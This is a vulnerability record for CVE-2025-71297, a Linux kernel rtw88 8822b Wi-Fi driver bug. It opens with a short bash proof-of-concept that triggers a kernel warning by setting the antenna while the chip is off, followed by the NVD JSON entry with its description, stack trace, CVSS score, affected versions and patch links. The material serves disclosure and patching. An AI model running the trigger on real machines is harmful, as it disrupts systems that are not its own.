CVE-2025-71297

#!/bin/bash # PoC for CVE-2025-71297 # Trigger kernel warning in rtw8822b by setting antenna when chip is off. # Replace 'phy0' with the actual wireless phy name if different PHY_NAME="phy0" echo "[+] Checking if wireless interface exists..." iw dev 2>&1 | grep -q phy || { echo "[-] No wireless interface found."; exit 1; } echo "[+] Attempting to trigger vulnerability..." # This command attempts to configure the antenna. # If the chip is powered off, it triggers the warning in rtw8822b_config_trx_mode. iw $PHY_NAME set antenna all 0 echo "[+] Checking dmesg for WARNING..." dmesg | tail -n 10 | grep -i "WARNING\|rtw8822b_config_trx_mode"

{"cve": {"id": "CVE-2025-71297", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T14:16:31.000", "lastModified": "2026-05-14T19:20:43.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: rtw88: 8822b: Avoid WARNING in rtw8822b_config_trx_mode()\n\nrtw8822b_set_antenna() can be called from userspace when the chip is\npowered off. In that case a WARNING is triggered in\nrtw8822b_config_trx_mode() because trying to read the RF registers\nwhen the chip is powered off returns an unexpected value.\n\nCall rtw8822b_config_trx_mode() in rtw8822b_set_antenna() only when\nthe chip is powered on.\n\n------------[ cut here ]------------\nwrite RF mode table fail\nWARNING: CPU: 0 PID: 7183 at rtw8822b.c:824 rtw8822b_config_trx_mode.constprop.0+0x835/0x840 [rtw88_8822b]\nCPU: 0 UID: 0 PID: 7183 Comm: iw Tainted: G W OE 6.17.5-arch1-1 #1 PREEMPT(full) 01c39fc421df2af799dd5e9180b572af860b40c1\nTainted: [W]=WARN, [O]=OOT_MODULE, [E]=UNSIGNED_MODULE\nHardware name: LENOVO 82KR/LNVNB161216, BIOS HBCN18WW 08/27/2021\nRIP: 0010:rtw8822b_config_trx_mode.constprop.0+0x835/0x840 [rtw88_8822b]\nCall Trace:\n <TASK>\n rtw8822b_set_antenna+0x57/0x70 [rtw88_8822b 370206f42e5890d8d5f48eb358b759efa37c422b]\n rtw_ops_set_antenna+0x50/0x80 [rtw88_core 711c8fb4f686162be4625b1d0b8e8c6a5ac850fb]\n ieee80211_set_antenna+0x60/0x100 [mac80211 f1845d85d2ecacf3b71867635a050ece90486cf3]\n nl80211_set_wiphy+0x384/0xe00 [cfg80211 296485ee85696d2150309a6d21a7fbca83d3dbda]\n ? netdev_run_todo+0x63/0x550\n genl_family_rcv_msg_doit+0xfc/0x160\n genl_rcv_msg+0x1aa/0x2b0\n ? __pfx_nl80211_pre_doit+0x10/0x10 [cfg80211 296485ee85696d2150309a6d21a7fbca83d3dbda]\n ? __pfx_nl80211_set_wiphy+0x10/0x10 [cfg80211 296485ee85696d2150309a6d21a7fbca83d3dbda]\n ? __pfx_nl80211_post_doit+0x10/0x10 [cfg80211 296485ee85696d2150309a6d21a7fbca83d3dbda]\n ? __pfx_genl_rcv_msg+0x10/0x10\n netlink_rcv_skb+0x59/0x110\n genl_rcv+0x28/0x40\n netlink_unicast+0x285/0x3c0\n ? __alloc_skb+0xdb/0x1a0\n netlink_sendmsg+0x20d/0x430\n ____sys_sendmsg+0x39f/0x3d0\n ? import_iovec+0x2f/0x40\n ___sys_sendmsg+0x99/0xe0\n ? refill_obj_stock+0x12e/0x240\n __sys_sendmsg+0x8a/0xf0\n do_syscall_64+0x81/0x970\n ? do_syscall_64+0x81/0x970\n ? ksys_read+0x73/0xf0\n ? do_syscall_64+0x81/0x970\n ? count_memcg_events+0xc2/0x190\n ? handle_mm_fault+0x1d7/0x2d0\n ? do_user_addr_fault+0x21a/0x690\n ? exc_page_fault+0x7e/0x1a0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n </TASK>\n---[ end trace 0000000000000000 ]---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.8", "versionEndExcluding": "6.1.165", "matchCriteriaId": "FC8D0495-5814-4076-B651-12AD51496D92"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0d0c2fb80ca4c284c397dd7546743a3b5fdf4020", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/44510ff07b5198e4a835a3074b716cec8357695b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/44d1f624bbdd2d60319374ba85f7195a28d00c90", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/509becaee5680a39bde00c2c7d448dfeb39a8e05", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": " ... 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